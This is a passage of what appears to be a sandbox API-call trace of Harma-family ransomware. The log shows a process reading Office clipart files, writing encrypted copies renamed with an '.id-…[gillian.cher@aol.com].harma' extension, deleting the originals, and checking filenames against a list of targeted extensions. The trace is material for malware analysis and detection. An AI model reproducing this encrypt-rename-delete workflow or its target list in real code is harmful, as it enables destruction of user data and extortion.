office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0168.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0168.891] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.891] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0168.892] GetLastError () returned 0x0 [0168.892] ReadFile (in: hFile=0x344, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1034, lpOverlapped=0x0) returned 1 [0169.016] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1040, lpOverlapped=0x0) returned 1 [0169.017] ReadFile (in: hFile=0x344, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.017] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.017] SetEndOfFile (hFile=0x364) returned 1 [0169.018] CloseHandle (hObject=0x364) returned 1 [0169.018] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.018] SetEndOfFile (hFile=0x344) returned 1 [0169.020] CloseHandle (hObject=0x344) returned 1 [0169.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0169.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.036] lstrlenW (lpString=".doc") returned 4 [0169.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.036] lstrlenW (lpString=".docx") returned 5 [0169.036] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.036] lstrlenW (lpString=".pdf") returned 4 [0169.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.036] lstrlenW (lpString=".xls") returned 4 [0169.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.036] lstrlenW (lpString=".xlsx") returned 5 [0169.036] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.036] lstrlenW (lpString=".ppt") returned 4 [0169.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.036] lstrlenW (lpString=".zip") returned 4 [0169.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.036] lstrlenW (lpString=".rar") returned 4 [0169.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.036] lstrlenW (lpString=".bz2") returned 4 [0169.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.036] lstrlenW (lpString=".7z") returned 3 [0169.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.036] lstrlenW (lpString=".dbf") returned 4 [0169.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.037] lstrlenW (lpString=".1cd") returned 4 [0169.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.037] lstrlenW (lpString=".jpg") returned 4 [0169.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.037] lstrlenW (lpString=".doc") returned 4 [0169.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString=".docx") returned 5 [0169.037] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.037] lstrlenW (lpString=".pdf") returned 4 [0169.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString=".xls") returned 4 [0169.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.037] lstrlenW (lpString=".xlsx") returned 5 [0169.037] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.037] lstrlenW (lpString=".ppt") returned 4 [0169.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.037] lstrlenW (lpString=".zip") returned 4 [0169.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.038] lstrlenW (lpString=".rar") returned 4 [0169.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".bz2") returned 4 [0169.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString=".7z") returned 3 [0169.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.038] lstrlenW (lpString=".dbf") returned 4 [0169.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.038] lstrlenW (lpString=".1cd") returned 4 [0169.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0169.038] lstrlenW (lpString=".jpg") returned 4 [0169.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.038] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.038] lstrlenW (lpString="J0105710.WMF") returned 12 [0169.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.040] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=13808) returned 1 [0169.040] CloseHandle (hObject=0x370) returned 1 [0169.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0169.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.041] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.041] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0169.042] GetLastError () returned 0x0 [0169.042] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x35f0, lpOverlapped=0x0) returned 1 [0169.159] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3600, lpOverlapped=0x0) returned 1 [0169.160] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.160] WriteFile (in: hFile=0x33c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.160] SetEndOfFile (hFile=0x33c) returned 1 [0169.160] CloseHandle (hObject=0x33c) returned 1 [0169.161] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.161] SetEndOfFile (hFile=0x370) returned 1 [0169.163] CloseHandle (hObject=0x370) returned 1 [0169.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0169.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.286] lstrlenW (lpString=".doc") returned 4 [0169.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString=".docx") returned 5 [0169.287] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.287] lstrlenW (lpString=".pdf") returned 4 [0169.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString=".xls") returned 4 [0169.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.287] lstrlenW (lpString=".xlsx") returned 5 [0169.287] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.287] lstrlenW (lpString=".ppt") returned 4 [0169.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.287] lstrlenW (lpString=".zip") returned 4 [0169.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.287] lstrlenW (lpString=".rar") returned 4 [0169.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString=".bz2") returned 4 [0169.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString=".7z") returned 3 [0169.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.287] lstrlenW (lpString=".dbf") returned 4 [0169.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.287] lstrlenW (lpString=".1cd") returned 4 [0169.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.288] lstrlenW (lpString=".jpg") returned 4 [0169.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.288] lstrlenW (lpString=".doc") returned 4 [0169.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.288] lstrlenW (lpString=".docx") returned 5 [0169.288] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.288] lstrlenW (lpString=".pdf") returned 4 [0169.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.288] lstrlenW (lpString=".xls") returned 4 [0169.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.288] lstrlenW (lpString=".xlsx") returned 5 [0169.288] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.288] lstrlenW (lpString=".ppt") returned 4 [0169.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.288] lstrlenW (lpString=".zip") returned 4 [0169.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.288] lstrlenW (lpString=".rar") returned 4 [0169.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.288] lstrlenW (lpString=".bz2") returned 4 [0169.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.288] lstrlenW (lpString=".7z") returned 3 [0169.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.288] lstrlenW (lpString=".dbf") returned 4 [0169.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.289] lstrlenW (lpString=".1cd") returned 4 [0169.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0169.289] lstrlenW (lpString=".jpg") returned 4 [0169.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.289] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.289] lstrlenW (lpString="J0106020.WMF") returned 12 [0169.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.290] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10060) returned 1 [0169.290] CloseHandle (hObject=0x3ac) returned 1 [0169.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0169.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.290] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.290] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0169.291] GetLastError () returned 0x0 [0169.291] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x274c, lpOverlapped=0x0) returned 1 [0169.649] WriteFile (in: hFile=0x384, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2750, lpOverlapped=0x0) returned 1 [0169.650] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0169.650] WriteFile (in: hFile=0x384, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.650] SetEndOfFile (hFile=0x384) returned 1 [0169.650] CloseHandle (hObject=0x384) returned 1 [0169.651] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0169.651] SetEndOfFile (hFile=0x3ac) returned 1 [0169.653] CloseHandle (hObject=0x3ac) returned 1 [0169.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.663] lstrlenW (lpString=".doc") returned 4 [0169.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.663] lstrlenW (lpString=".docx") returned 5 [0169.663] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.663] lstrlenW (lpString=".pdf") returned 4 [0169.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.663] lstrlenW (lpString=".xls") returned 4 [0169.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.663] lstrlenW (lpString=".xlsx") returned 5 [0169.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.663] lstrlenW (lpString=".ppt") returned 4 [0169.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.663] lstrlenW (lpString=".zip") returned 4 [0169.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.663] lstrlenW (lpString=".rar") returned 4 [0169.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.663] lstrlenW (lpString=".bz2") returned 4 [0169.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.663] lstrlenW (lpString=".7z") returned 3 [0169.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.663] lstrlenW (lpString=".dbf") returned 4 [0169.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.664] lstrlenW (lpString=".1cd") returned 4 [0169.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.664] lstrlenW (lpString=".jpg") returned 4 [0169.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.664] lstrlenW (lpString=".doc") returned 4 [0169.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString=".docx") returned 5 [0169.664] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.664] lstrlenW (lpString=".pdf") returned 4 [0169.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString=".xls") returned 4 [0169.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.664] lstrlenW (lpString=".xlsx") returned 5 [0169.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.664] lstrlenW (lpString=".ppt") returned 4 [0169.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.664] lstrlenW (lpString=".zip") returned 4 [0169.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.664] lstrlenW (lpString=".rar") returned 4 [0169.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString=".bz2") returned 4 [0169.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.664] lstrlenW (lpString=".7z") returned 3 [0169.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.665] lstrlenW (lpString=".dbf") returned 4 [0169.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.665] lstrlenW (lpString=".1cd") returned 4 [0169.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0169.665] lstrlenW (lpString=".jpg") returned 4 [0169.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.665] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.665] lstrlenW (lpString="J0106572.WMF") returned 12 [0169.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.678] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2148) returned 1 [0169.678] CloseHandle (hObject=0x370) returned 1 [0169.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0169.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.679] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 